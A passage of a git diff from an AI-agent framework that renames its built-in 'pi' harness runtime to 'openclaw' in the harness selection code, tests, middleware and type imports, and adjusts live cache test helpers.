expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); it.each(["openai", "openai-codex"])( @@ -300,7 +314,7 @@ describe("runAgentHarnessAttempt", () => { agentHarnessRuntimeOverride: "codex", }), ).toThrow(`Requested agent harness "codex" does not support ${provider}/gpt-5.4`); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }, ); @@ -318,16 +332,16 @@ describe("runAgentHarnessAttempt", () => { modelId: "gpt-5.4", }); expect(result.sessionIdUsed).toBe("codex"); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); - it("falls back to PI when the implicit OpenAI Codex harness is unavailable", async () => { + it("falls back to OpenClaw when the implicit OpenAI Codex harness is unavailable", async () => { expect(resolveAgentHarnessPolicy({ provider: "openai", modelId: "gpt-5.4" })).toEqual({ runtime: "codex", runtimeSource: "implicit", }); expect(resolveAvailableAgentHarnessPolicy({ provider: "openai", modelId: "gpt-5.4" })).toEqual({ - runtime: "pi", + runtime: "openclaw", runtimeSource: "implicit", }); @@ -337,30 +351,30 @@ describe("runAgentHarnessAttempt", () => { modelId: "gpt-5.4", }); - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + expect(result.sessionIdUsed).toBe("openclaw"); + expect(agentRunAttempt).toHaveBeenCalledTimes(1); }); - it("honors explicit PI runtime for OpenAI agent model runs", async () => { + it("honors explicit OpenClaw runtime for OpenAI agent model runs", async () => { const result = await runAgentHarnessAttempt({ - ...createAttemptParams(providerRuntimeConfig("openai", "pi")), + ...createAttemptParams(providerRuntimeConfig("openai", "openclaw")), provider: "openai", modelId: "gpt-5.4", }); - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + expect(result.sessionIdUsed).toBe("openclaw"); + expect(agentRunAttempt).toHaveBeenCalledTimes(1); }); - it("honors provider wildcard PI runtime policy for OpenAI agent model runs", async () => { + it("honors provider wildcard OpenClaw runtime policy for OpenAI agent model runs", async () => { registerSuccessfulCodexHarness(); const result = await runAgentHarnessAttempt({ - ...createAttemptParams(agentModelRuntimeConfig("openai/*", "pi")), + ...createAttemptParams(agentModelRuntimeConfig("openai/*", "openclaw")), provider: "openai", modelId: "gpt-5.4", }); - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + expect(result.sessionIdUsed).toBe("openclaw"); + expect(agentRunAttempt).toHaveBeenCalledTimes(1); }); it("annotates non-ok harness result classifications for outer model fallback", async () => { @@ -443,7 +457,7 @@ describe("runAgentHarnessAttempt", () => { expect(attempt?.extraSystemPrompt).toContain("this chat is not allowed by policy"); }); - it("leaves PI harness params unchanged for channel group sender deny-all policy", async () => { + it("leaves OpenClaw harness params unchanged for channel group sender deny-all policy", async () => { await runAgentHarnessAttempt({ ...createAttemptParams(groupSenderDenyAllConfig()), sessionKey: "agent:main:telegram:group:test-deny-room", @@ -452,25 +466,25 @@ describe("runAgentHarnessAttempt", () => { senderId: "test-denied-sender", }); - expect(piRunAttempt).toHaveBeenCalledTimes(1); - expect(piRunAttempt.mock.calls[0]?.[0].toolsAllow).toBeUndefined(); + expect(agentRunAttempt).toHaveBeenCalledTimes(1); + expect(agentRunAttempt.mock.calls[0]?.[0].toolsAllow).toBeUndefined(); }); it("fails for config-forced plugin harnesses when fallback is omitted", async () => { await expect( runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow('Requested agent harness "codex" is not registered'); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); - it("does not let a strict agent model plugin runtime fall back to PI", async () => { + it("does not let a strict agent model plugin runtime fall back to OpenClaw", async () => { await expect( runAgentHarnessAttempt({ ...createAttemptParams(agentModelRuntimeConfig("codex/gpt-5.4", "codex", "strict")), sessionKey: "agent:strict:session-1", }), ).rejects.toThrow('Requested agent harness "codex" is not registered'); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); }); @@ -547,7 +561,7 @@ describe("selectAgentHarness", () => { expect(unsupportedSupports).toHaveBeenCalledTimes(1); }); - it("ignores session-level PI pins when selecting a harness", () => { + it("ignores session-level OpenClaw pins when selecting a harness", () => { const supports = vi.fn(() => ({ supported: true as const, priority: 100 })); registerAgentHarness({ id: "codex", @@ -559,31 +573,31 @@ describe("selectAgentHarness", () => { const harness = selectAgentHarness({ provider: "codex", modelId: "gpt-5.4", - agentHarnessId: "pi", + agentHarnessId: "openclaw", }); expect(harness.id).toBe("codex"); expect(supports).toHaveBeenCalledTimes(1); }); - it("honors explicit PI runtime overrides when selecting a harness", async () => { + it("honors explicit OpenClaw runtime overrides when selecting a harness", async () => { registerSuccessfulCodexHarness(); const harness = selectAgentHarness({ provider: "openai", modelId: "gpt-5.4", - agentHarnessRuntimeOverride: "pi", + agentHarnessRuntimeOverride: "openclaw", }); - expect(harness.id).toBe("pi"); + expect(harness.id).toBe("openclaw"); const result = await runAgentHarnessAttempt({ ...createAttemptParams(), provider: "openai", modelId: "gpt-5.4", - agentHarnessRuntimeOverride: "pi", + agentHarnessRuntimeOverride: "openclaw", }); - expect(result.sessionIdUsed).toBe("pi"); + expect(result.sessionIdUsed).toBe("openclaw"); }); it("allows per-agent model runtime policy overrides", () => { @@ -598,12 +612,12 @@ describe("selectAgentHarness", () => { }), ).toThrow('Requested agent harness "codex" is not registered'); expect(selectAgentHarness({ provider: "anthropic", modelId: "sonnet-4.6", config }).id).toBe( - "pi", + "openclaw", ); }); - it("selects PI when the implicit OpenAI Codex harness is unavailable", () => { - expect(selectAgentHarness({ provider: "openai", modelId: "gpt-5.4" }).id).toBe("pi"); + it("selects OpenClaw when the implicit OpenAI Codex harness is unavailable", () => { + expect(selectAgentHarness({ provider: "openai", modelId: "gpt-5.4" }).id).toBe("openclaw"); }); it("ignores legacy agentRuntime as a runtime policy source", () => { @@ -621,7 +635,7 @@ describe("selectAgentHarness", () => { modelId: "sonnet-4.6", config, }).id, - ).toBe("pi"); + ).toBe("openclaw"); }); it("ignores legacy agent CLI runtime aliases for OpenAI agent model runs", async () => { @@ -642,24 +656,24 @@ describe("selectAgentHarness", () => { modelId: "gpt-5.4", }); expect(result.sessionIdUsed).toBe("codex"); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); - it("ignores existing session PI pins when provider policy forces a plugin harness", () => { + it("ignores existing session OpenClaw pins when provider policy forces a plugin harness", () => { registerFailingCodexHarness(); expect( selectAgentHarness({ provider: "codex", modelId: "gpt-5.4", - agentHarnessId: "pi", + agentHarnessId: "openclaw", config: providerRuntimeConfig("codex", "codex"), }).id, ).toBe("codex"); }); - it("ignores env-forced PI for OpenAI default runtime selection", () => { - process.env.OPENCLAW_AGENT_RUNTIME = "pi"; + it("ignores env-forced OpenClaw for OpenAI default runtime selection", () => { + process.env.OPENCLAW_AGENT_RUNTIME = "openclaw"; registerFailingCodexHarness(); expect( @@ -715,7 +729,7 @@ describe("selectAgentHarness", () => { ).resolves.toBeUndefined(); }); - it("does not compact a selected plugin harness through PI when the plugin has no compactor", async () => { + it("does not compact a selected plugin harness through OpenClaw when the plugin has no compactor", async () => { registerFailingCodexHarness(); await expect( @@ -740,7 +754,7 @@ describe("selectAgentHarness", () => { { provider: "anthropic", modelId: "sonnet-4.6", alias: "claude-cli" }, { provider: "google", modelId: "gemini-3-pro-preview", alias: "google-gemini-cli" }, ])( - "returns PI for explicit CLI runtime alias $alias on $provider instead of throwing MissingAgentHarnessError", + "returns OpenClaw for explicit CLI runtime alias $alias on $provider instead of throwing MissingAgentHarnessError", ({ provider, modelId, alias }) => { expect( selectAgentHarness({ @@ -748,7 +762,7 @@ describe("selectAgentHarness", () => { modelId, agentHarnessRuntimeOverride: alias, }).id, - ).toBe("pi"); + ).toBe("openclaw"); }, ); diff --git a/src/agents/harness/selection.ts b/src/agents/harness/selection.ts index d0e6066d0e7..55b1a80b258 100644 --- a/src/agents/harness/selection.ts +++ b/src/agents/harness/selection.ts @@ -1,19 +1,20 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; -import { isCliRuntimeAliasForProvider, isCliRuntimeProvider } from "../model-runtime-aliases.js"; -import type { CompactEmbeddedPiSessionParams } from "../pi-embedded-runner/compact.types.js"; -import type { - EmbeddedRunAttemptParams, - EmbeddedRunAttemptResult, -} from "../pi-embedded-runner/run/types.js"; -import type { EmbeddedPiCompactResult } from "../pi-embedded-runner/types.js"; +import { isDefaultAgentRuntimeId, normalizeOptionalAgentRuntimeId } from "../agent-runtime-id.js"; import { resolveEffectiveToolPolicy, resolveGroupToolPolicy, resolveInheritedToolPolicyForSession, resolveSubagentToolPolicyForSession, -} from "../pi-tools.policy.js"; +} from "../agent-tools.policy.js"; +import type { CompactEmbeddedAgentSessionParams } from "../embedded-agent-runner/compact.types.js"; +import type { + EmbeddedRunAttemptParams, + EmbeddedRunAttemptResult, +} from "../embedded-agent-runner/run/types.js"; +import type { EmbeddedAgentCompactResult } from "../embedded-agent-runner/types.js"; +import { isCliRuntimeAliasForProvider, isCliRuntimeProvider } from "../model-runtime-aliases.js"; import { resolveSandboxRuntimeStatus } from "../sandbox/runtime-status.js"; import { resolveSenderToolPolicy } from "../sender-tool-policy.js"; import { @@ -21,7 +22,7 @@ import { resolveSubagentCapabilityStore, } from "../subagent-capabilities.js"; import { expandToolGroups, normalizeToolName } from "../tool-policy.js"; -import { createPiAgentHarness } from "./builtin-pi.js"; +import { createOpenClawAgentHarness } from "./builtin-openclaw.js"; import { MissingAgentHarnessError } from "./errors.js"; import { resolveAgentHarnessPolicy as resolveConfiguredAgentHarnessPolicy, @@ -56,19 +57,16 @@ type AgentHarnessSelectionDecision = { policy: AgentHarnessPolicy; selectedHarnessId: string; selectedReason: - | "forced_pi" + | "forced_openclaw" | "forced_plugin" - // Implicit Codex preference found no registered Codex harness, so PI handled the run. - | "implicit_plugin_unavailable_pi" - // Explicit provider-owned CLI runtime aliases have no agent harness plugin - // counterpart. PI is returned as the transcript-composition placeholder; the - // actual run is routed through CLI dispatch by callers that consult model - // runtime policy (see `assertModelFallbackCandidateHarnessAvailable`). - | "cli_runtime_passthrough_pi" + // Implicit Codex preference found no registered Codex harness, so OpenClaw handled the run. + | "implicit_plugin_unavailable_openclaw" + // Provider-owned CLI runtime aliases have no agent harness plugin counterpart. + | "cli_runtime_passthrough_openclaw" // Auto mode chose a registered plugin harness that supports the provider/model. | "auto_plugin" - // Auto mode found no supporting plugin harness, so PI handled the run. - | "auto_pi"; + // Auto mode found no supporting plugin harness, so OpenClaw handled the run. + | "auto_openclaw"; candidates: AgentHarnessSelectionCandidate[]; }; @@ -95,7 +93,7 @@ function applyAgentHarnessAvailabilityPolicy(policy: AgentHarnessPolicy): AgentH ) { return { ...policy, - runtime: "pi", + runtime: "openclaw", }; } return policy; @@ -134,25 +132,25 @@ function selectAgentHarnessDecision(params: { agentHarnessRuntimeOverride?: string; }): AgentHarnessSelectionDecision { const resolvedPolicy = resolveConfiguredAgentHarnessPolicy(params); - const runtimeOverride = params.agentHarnessRuntimeOverride?.trim(); + const runtimeOverride = normalizeOptionalAgentRuntimeId(params.agentHarnessRuntimeOverride); const policy = - runtimeOverride && runtimeOverride !== "auto" && runtimeOverride !== "default" + runtimeOverride && !isDefaultAgentRuntimeId(runtimeOverride) ? ({ ...resolvedPolicy, runtime: runtimeOverride, runtimeSource: "model", } as AgentHarnessPolicy) : resolvedPolicy; - // PI is intentionally not part of the plugin candidate list. Explicit plugin - // runtimes fail closed; only `auto` may route an unmatched turn to PI. + // OpenClaw's built-in harness is intentionally not part of the plugin candidate list. Explicit plugin + // runtimes fail closed; only `auto` may route an unmatched turn to OpenClaw. const pluginHarnesses = listPluginAgentHarnesses(); - const piHarness = createPiAgentHarness(); + const openClawHarness = createOpenClawAgentHarness(); const runtime = policy.runtime; - if (runtime === "pi") { + if (runtime === "openclaw") { return buildSelectionDecision({ - harness: piHarness, + harness: openClawHarness, policy, - selectedReason: "forced_pi", + selectedReason: "forced_openclaw", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -174,12 +172,12 @@ function selectAgentHarnessDecision(params: { } if (isCliRuntimeAliasForProvider({ runtime, provider: params.provider })) { return buildSelectionDecision({ - harness: piHarness, + harness: openClawHarness, policy: { ...policy, - runtime: "pi", + runtime: "openclaw", }, - selectedReason: "cli_runtime_passthrough_pi", + selectedReason: "cli_runtime_passthrough_openclaw", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -191,23 +189,29 @@ function selectAgentHarnessDecision(params: { } if (runtime === "codex" && policy.runtimeSource === "implicit") { return buildSelectionDecision({ - harness: piHarness, + harness: openClawHarness, policy: { ...policy, - runtime: "pi", + runtime: "openclaw", }, - selectedReason: "implicit_plugin_unavailable_pi", + selectedReason: "implicit_plugin_unavailable_openclaw", candidates: listHarnessCandidates(pluginHarnesses), }); } - if (isCliRuntimeAliasForProvider({ runtime, provider: params.provider })) { + if ( + isCliRuntimeAliasForProvider({ + runtime, + provider: params.provider, + cfg: params.config, + }) + ) { return buildSelectionDecision({ - harness: piHarness, + harness: openClawHarness, policy: { ...policy, - runtime: "pi", + runtime: "openclaw", }, - selectedReason: "cli_runtime_passthrough_pi", + selectedReason: "cli_runtime_passthrough_openclaw", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -243,9 +247,9 @@ function selectAgentHarnessDecision(params: { }); } return buildSelectionDecision({ - harness: piHarness, + harness: openClawHarness, policy, - selectedReason: "auto_pi", + selectedReason: "auto_openclaw", candidates: candidates.map(toSelectionCandidate), }); } @@ -263,7 +267,8 @@ export async function runAgentHarnessAttempt( agentHarnessRuntimeOverride: params.agentHarnessRuntimeOverride, }); const harness = selection.harness; - const attemptParams = harness.id === "pi" ? params : applyPluginHarnessDenyAllToolPolicy(params); + const attemptParams = + harness.id === "openclaw" ? params : applyPluginHarnessDenyAllToolPolicy(params); logAgentHarnessSelection(selection, { provider: params.provider, modelId: params.modelId, @@ -271,14 +276,14 @@ export async function runAgentHarnessAttempt( agentId: params.agentId, }); const v2Harness = adaptAgentHarnessToV2(harness); - if (harness.id === "pi") { + if (harness.id === "openclaw") { return await runAgentHarnessV2LifecycleAttempt(v2Harness, attemptParams); } try { return await runAgentHarnessV2LifecycleAttempt(v2Harness, attemptParams); } catch (error) { - log.warn(`${harness.label} failed; not falling back to embedded PI backend`, { + log.warn(`${harness.label} failed; not falling back to embedded OpenClaw backend`, { harnessId: harness.id, provider: params.provider, modelId: params.modelId, @@ -480,9 +485,9 @@ function logAgentHarnessSelection( } export async function maybeCompactAgentHarnessSession( - params: CompactEmbeddedPiSessionParams, -): Promise { - if (params.provider && isCliRuntimeProvider(params.provider)) { + params: CompactEmbeddedAgentSessionParams, +): Promise { + if (params.provider && isCliRuntimeProvider(params.provider, { config: params.config })) { return undefined; } const runtime = resolveConfiguredAgentHarnessPolicy({ @@ -491,7 +496,7 @@ export async function maybeCompactAgentHarnessSession( config: params.config, sessionKey: params.sessionKey, }).runtime; - if (isCliRuntimeAliasForProvider({ runtime, provider: params.provider })) { + if (isCliRuntimeAliasForProvider({ runtime, provider: params.provider, cfg: params.config })) { return undefined; } const harness = selectAgentHarness({ @@ -501,7 +506,7 @@ export async function maybeCompactAgentHarnessSession( sessionKey: params.sessionKey, }); if (!harness.compact) { - if (harness.id !== "pi") { + if (harness.id !== "openclaw") { return { ok: false, compacted: false, diff --git a/src/agents/harness/tool-result-middleware.test.ts b/src/agents/harness/tool-result-middleware.test.ts index 22fc424543d..6f12e794c3e 100644 --- a/src/agents/harness/tool-result-middleware.test.ts +++ b/src/agents/harness/tool-result-middleware.test.ts @@ -3,7 +3,7 @@ import { createAgentToolResultMiddlewareRunner } from "./tool-result-middleware. describe("createAgentToolResultMiddlewareRunner", () => { it("fails closed when middleware throws", async () => { - const runner = createAgentToolResultMiddlewareRunner({ runtime: "pi" }, [ + const runner = createAgentToolResultMiddlewareRunner({ runtime: "openclaw" }, [ () => { throw new Error("raw secret should not be logged or returned"); }, @@ -47,7 +47,7 @@ describe("createAgentToolResultMiddlewareRunner", () => { }); it("fails closed when middleware mutates the current result into an invalid shape", async () => { - const runner = createAgentToolResultMiddlewareRunner({ runtime: "pi" }, [ + const runner = createAgentToolResultMiddlewareRunner({ runtime: "openclaw" }, [ (event) => { event.result.content = "not an array" as never; return undefined; @@ -122,7 +122,7 @@ describe("createAgentToolResultMiddlewareRunner", () => { content: [{ type: "text" as const, text: "delivered" }], details: cyclicDetails, }; - const runner = createAgentToolResultMiddlewareRunner({ runtime: "pi" }, []); + const runner = createAgentToolResultMiddlewareRunner({ runtime: "openclaw" }, []); const result = await runner.applyToolResultMiddleware({ toolCallId: "call-1", @@ -147,7 +147,9 @@ describe("createAgentToolResultMiddlewareRunner", () => { client, }; client.message = payload; - const runner = createAgentToolResultMiddlewareRunner({ runtime: "pi" }, [() => undefined]); + const runner = createAgentToolResultMiddlewareRunner({ runtime: "openclaw" }, [ + () => undefined, + ]); const result = await runner.applyToolResultMiddleware({ toolCallId: "call-1", @@ -476,7 +478,9 @@ describe("createAgentToolResultMiddlewareRunner", () => { }); it("collapses oversized incoming details to a truncation marker", async () => { - const runner = createAgentToolResultMiddlewareRunner({ runtime: "pi" }, [() => undefined]); + const runner = createAgentToolResultMiddlewareRunner({ runtime: "openclaw" }, [ + () => undefined, + ]); const result = await runner.applyToolResultMiddleware({ toolCallId: "call-1", diff --git a/src/agents/harness/tool-result-middleware.ts b/src/agents/harness/tool-result-middleware.ts index 113c044e7d3..e181a5e9563 100644 --- a/src/agents/harness/tool-result-middleware.ts +++ b/src/agents/harness/tool-result-middleware.ts @@ -440,7 +440,7 @@ export function createAgentToolResultMiddlewareRunner( for (const handler of handlersForRun) { try { const next = await handler({ ...event, result: current }, middlewareContext); - // Middleware may mutate event.result in place for legacy Pi parity. + // Middleware may mutate event.result in place for legacy runtime parity. // Validate the current object after every handler so in-place writes // cannot bypass the same shape and size bounds as returned results. const candidate = next?.result ?? current; diff --git a/src/agents/harness/types.ts b/src/agents/harness/types.ts index 934a6aa9001..ce0bc4ca7c3 100644 --- a/src/agents/harness/types.ts +++ b/src/agents/harness/types.ts @@ -1,7 +1,7 @@ export type AgentHarnessSupportContext = { provider: string; modelId?: string; - requestedRuntime: import("../pi-embedded-runner/runtime.js").EmbeddedAgentRuntime; + requestedRuntime: import("../agent-runtime-id.js").EmbeddedAgentRuntime; }; export type AgentHarnessSupport = @@ -9,15 +9,15 @@ export type AgentHarnessSupport = | { supported: false; reason?: string }; export type AgentHarnessAttemptParams = - import("../pi-embedded-runner/run/types.js").EmbeddedRunAttemptParams; + import("../embedded-agent-runner/run/types.js").EmbeddedRunAttemptParams; export type AgentHarnessAttemptResult = - import("../pi-embedded-runner/run/types.js").EmbeddedRunAttemptResult; + import("../embedded-agent-runner/run/types.js").EmbeddedRunAttemptResult; export type AgentHarnessSideQuestionParams = { cfg: import("../../config/types.openclaw.js").OpenClawConfig; agentDir: string; provider: string; model: string; - runtimeModel?: import("@earendil-works/pi-ai").Model; + runtimeModel?: import("openclaw/plugin-sdk/llm").Model; question: string; sessionEntry: import("../../config/sessions.js").SessionEntry; sessionStore?: Record; @@ -25,7 +25,7 @@ export type AgentHarnessSideQuestionParams = { storePath?: string; resolvedThinkLevel?: import("../../auto-reply/thinking.js").ThinkLevel; resolvedReasoningLevel: import("../../auto-reply/thinking.js").ReasoningLevel; - blockReplyChunking?: import("../pi-embedded-block-chunker.js").BlockReplyChunking; + blockReplyChunking?: import("../embedded-agent-block-chunker.js").BlockReplyChunking; resolvedBlockStreamingBreak?: "text_end" | "message_end"; opts?: import("../../auto-reply/get-reply-options.types.js").GetReplyOptions; isNewSession: boolean; @@ -43,9 +43,9 @@ export type AgentHarnessSideQuestionResult = { text: string; }; export type AgentHarnessCompactParams = - import("../pi-embedded-runner/compact.types.js").CompactEmbeddedPiSessionParams; + import("../embedded-agent-runner/compact.types.js").CompactEmbeddedAgentSessionParams; export type AgentHarnessCompactResult = - import("../pi-embedded-runner/types.js").EmbeddedPiCompactResult; + import("../embedded-agent-runner/types.js").EmbeddedAgentCompactResult; export type AgentHarnessResetParams = { sessionId?: string; sessionKey?: string; diff --git a/src/agents/harness/v2.test.ts b/src/agents/harness/v2.test.ts index 8bcc6f872db..4d0e43862c1 100644 --- a/src/agents/harness/v2.test.ts +++ b/src/agents/harness/v2.test.ts @@ -1,6 +1,6 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { PI_EMBEDDED_CONTEXT_ENGINE_HOST } from "../../context-engine/host-compat.js"; +import { OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST } from "../../context-engine/host-compat.js"; import type { ContextEngine } from "../../context-engine/types.js"; import { onInternalDiagnosticEvent, @@ -8,8 +8,8 @@ import { type DiagnosticEventMetadata, type DiagnosticEventPayload, } from "../../infra/diagnostic-events.js"; -import type { EmbeddedRunAttemptResult } from "../pi-embedded-runner/run/types.js"; -import { createPiAgentHarness } from "./builtin-pi.js"; +import type { EmbeddedRunAttemptResult } from "../embedded-agent-runner/run/types.js"; +import { createOpenClawAgentHarness } from "./builtin-openclaw.js"; import type { AgentHarness, AgentHarnessAttemptParams } from "./types.js"; import type { AgentHarnessV2 } from "./v2.js"; import { adaptAgentHarnessToV2, runAgentHarnessV2LifecycleAttempt } from "./v2.js"; @@ -25,7 +25,7 @@ function createAttemptParams(): AgentHarnessAttemptParams { timeoutMs: 5_000, provider: "codex", modelId: "gpt-5.4", - model: { id: "gpt-5.4", provider: "codex" } as Model, + model: { id: "gpt-5.4", provider: "codex" } as Model, authStorage: {} as never, authProfileStore: { version: 1, profiles: {} }, modelRegistry: {} as never, @@ -213,11 +213,11 @@ describe("AgentHarness V2 compatibility adapter", () => { expect(runAttempt).toHaveBeenCalledOnce(); }); - it("advertises Pi embedded host capabilities through the V1 adapter", async () => { - const harness = createPiAgentHarness(); + it("advertises OpenClaw embedded host capabilities through the V1 adapter", async () => { + const harness = createOpenClawAgentHarness(); expect(harness.contextEngineHostCapabilities).toEqual( - PI_EMBEDDED_CONTEXT_ENGINE_HOST.capabilities, + OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST.capabilities, ); }); diff --git a/src/agents/live-cache-regression-runner.test.ts b/src/agents/live-cache-regression-runner.test.ts index edaa710b327..c5d05d7d908 100644 --- a/src/agents/live-cache-regression-runner.test.ts +++ b/src/agents/live-cache-regression-runner.test.ts @@ -128,13 +128,19 @@ describe("live cache regression runner", () => { maxTokens: 32, providerTag: "openai", }), - ).toBe(256); + ).toBe(1024); expect( testing.resolveCacheProbeMaxTokens({ maxTokens: 512, providerTag: "openai", }), - ).toBe(512); + ).toBe(1024); + expect( + testing.resolveCacheProbeMaxTokens({ + maxTokens: 2048, + providerTag: "openai", + }), + ).toBe(2048); expect( testing.resolveCacheProbeMaxTokens({ maxTokens: 32, diff --git a/src/agents/live-cache-regression-runner.ts b/src/agents/live-cache-regression-runner.ts index 0896f7f4ba7..7cdedadaf36 100644 --- a/src/agents/live-cache-regression-runner.ts +++ b/src/agents/live-cache-regression-runner.ts @@ -1,7 +1,7 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; -import type { AssistantMessage, Message, Tool } from "@earendil-works/pi-ai"; import { Type } from "typebox"; +import type { AssistantMessage, Message, Tool } from "../llm/types.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { LIVE_CACHE_REGRESSION_BASELINE, @@ -24,8 +24,8 @@ const OPENAI_TIMEOUT_MS = 120_000; const ANTHROPIC_TIMEOUT_MS = 120_000; const LIVE_CACHE_LANE_RETRIES = 1; const LIVE_CACHE_RESPONSE_RETRIES = 2; -const OPENAI_CACHE_REASONING = "low" as unknown as never; -const OPENAI_CACHE_PROBE_MIN_MAX_TOKENS = 256; +const OPENAI_CACHE_REASONING = "none" as unknown as never; +const OPENAI_CACHE_PROBE_MIN_MAX_TOKENS = 1024; const ANTHROPIC_CACHE_PROBE_MIN_MAX_TOKENS = 1024; const OPENAI_PREFIX = buildStableCachePrefix("openai"); const OPENAI_MCP_PREFIX = buildStableCachePrefix("openai-mcp-style"); @@ -306,7 +306,7 @@ async function completeCacheProbe(params: { } if (shouldRetryCacheProbeText({ attempt, suffix: params.suffix, text })) { logLiveCache( - `${params.providerTag} cache lane ${params.suffix} response mismatch; retrying: ${JSON.stringify(text)} stop=${response.stopReason} ${formatUsage(usage)}`, + `${params.providerTag} cache lane ${params.suffix} response mismatch; retrying: ${JSON.stringify(text)} stop=${response.stopReason} error=${response.errorMessage ?? ""} ${formatUsage(usage)}`, ); continue; } diff --git a/src/agents/live-cache-test-support.ts b/src/agents/live-cache-test-support.ts index 5d0a30c5f26..d3f10ac813e 100644 --- a/src/agents/live-cache-test-support.ts +++ b/src/agents/live-cache-test-support.ts @@ -1,20 +1,14 @@ -import { - completeSimple, - getModel, - type Api, - type AssistantMessage, - type Model, -} from "@earendil-works/pi-ai"; import { getRuntimeConfig } from "../config/config.js"; import { isTruthyEnvValue } from "../infra/env.js"; -import { normalizeStringEntries } from "../shared/string-normalization.js"; +import { completeSimple } from "../llm/stream.js"; +import { type Api, type AssistantMessage, type Model } from "../llm/types.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; import { resolveDefaultAgentDir } from "./agent-scope.js"; import { collectProviderApiKeys } from "./live-auth-keys.js"; import { isLiveTestEnabled } from "./live-test-helpers.js"; import { getApiKeyForModel, requireApiKey } from "./model-auth.js"; import { normalizeProviderId, parseModelRef } from "./model-selection.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; -import { discoverAuthStorage, discoverModels } from "./pi-model-discovery.js"; import { buildAssistantMessageWithZeroUsage } from "./stream-message-shared.js"; export const LIVE_CACHE_TEST_ENABLED = @@ -25,7 +19,7 @@ const DEFAULT_TIMEOUT_MS = 90_000; export type LiveResolvedModel = { apiKey: string; - model: Model; + model: Model; }; export type LiveResolvedModelPool = { @@ -129,14 +123,16 @@ export function buildStableCachePrefix(tag: string, sections = 160): string { } export function extractAssistantText(message: AssistantMessage): string { - return normalizeStringEntries( - message.content.filter((block) => block.type === "text").map((block) => block.text), - ).join(" "); + return message.content + .filter((block) => block.type === "text") + .map((block) => block.text.trim()) + .filter(Boolean) + .join(" "); } export function buildAssistantHistoryTurn( text: string, - model?: Pick, "api" | "provider" | "id">, + model?: Pick, ): AssistantMessage { return buildAssistantMessageWithZeroUsage({ model: { @@ -171,17 +167,35 @@ export async function resolveLiveDirectModelPool(params: { envVar: string; preferredModelIds: readonly string[]; }): Promise { - const liveKeys = collectProviderApiKeys(params.provider); + const cfg = getRuntimeConfig(); + await ensureOpenClawModelsJson(cfg); + const agentDir = resolveDefaultAgentDir(cfg); + const authStorage = discoverAuthStorage(agentDir); + const models = discoverModels(authStorage, agentDir).getAll(); + const candidates = models.filter( + (model) => normalizeProviderId(model.provider) === params.provider && model.api === params.api, + ); const rawModel = process.env[params.envVar]?.trim(); const parsed = rawModel ? parseModelRef(rawModel, params.provider) : null; const requestedModelId = parsed && normalizeProviderId(parsed.provider) === params.provider ? parsed.model : rawModel; + const selectModel = (): Model | undefined => { + if (parsed) { + return candidates.find( + (model) => + normalizeProviderId(model.provider) === parsed.provider && model.id === parsed.model, + ); + } + if (requestedModelId) { + return candidates.find((model) => model.id === requestedModelId); + } + return params.preferredModelIds + .map((id) => candidates.find((model) => model.id === id)) + .find(Boolean); + }; + const liveKeys = collectProviderApiKeys(params.provider); if (liveKeys.length > 0) { - const selectedModel = requestedModelId - ? getModel(params.provider, requestedModelId as never) - : params.preferredModelIds - .map((id) => getModel(params.provider, id as never)) - .find((model) => model?.api === params.api); + const selectedModel = selectModel(); if (!selectedModel || selectedModel.api !== params.api) { throw new Error( requestedModelId @@ -200,28 +214,7 @@ export async function resolveLiveDirectModelPool(params: { } logLiveCache(`resolving ${params.provider} model from configured auth storage`); - const cfg = getRuntimeConfig(); - await ensureOpenClawModelsJson(cfg); - const agentDir = resolveDefaultAgentDir(cfg); - const authStorage = discoverAuthStorage(agentDir); - const models = discoverModels(authStorage, agentDir).getAll(); - - const candidates = models.filter( - (model) => normalizeProviderId(model.provider) === params.provider && model.api === params.api, - ); - - let resolvedModel: Model | undefined; - if (parsed) { - resolvedModel = candidates.find( - (model) => - normalizeProviderId(model.provider) === parsed.provider && model.id === parsed.model, - ); - } - if (!resolvedModel) { - resolvedModel = params.preferredModelIds - .map((id) => candidates.find((model) => model.id === id)) - .find(Boolean); - } + const resolvedModel = selectModel(); if (!resolvedModel) { throw new Error( rawModel diff --git a/src/agents/live-model-switch.test.ts b/src/agents/live-model-switch.test.ts index 80a75c530c6..d6a6ba94065 100644 --- a/src/agents/live-model-switch.test.ts +++ b/src/agents/live-model-switch.test.ts @@ -1,7 +1,7 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; const state = vi.hoisted(() => ({ - abortEmbeddedPiRunMock: vi.fn(), + abortEmbeddedAgentRunMock: vi.fn(), requestEmbeddedRunModelSwitchMock: vi.fn(), consumeEmbeddedRunModelSwitchMock: vi.fn(), resolveDefaultModelForAgentMock: vi.fn(), @@ -9,16 +9,16 @@ const state = vi.hoisted(() => ({ loadSessionStoreMock: vi.fn(), 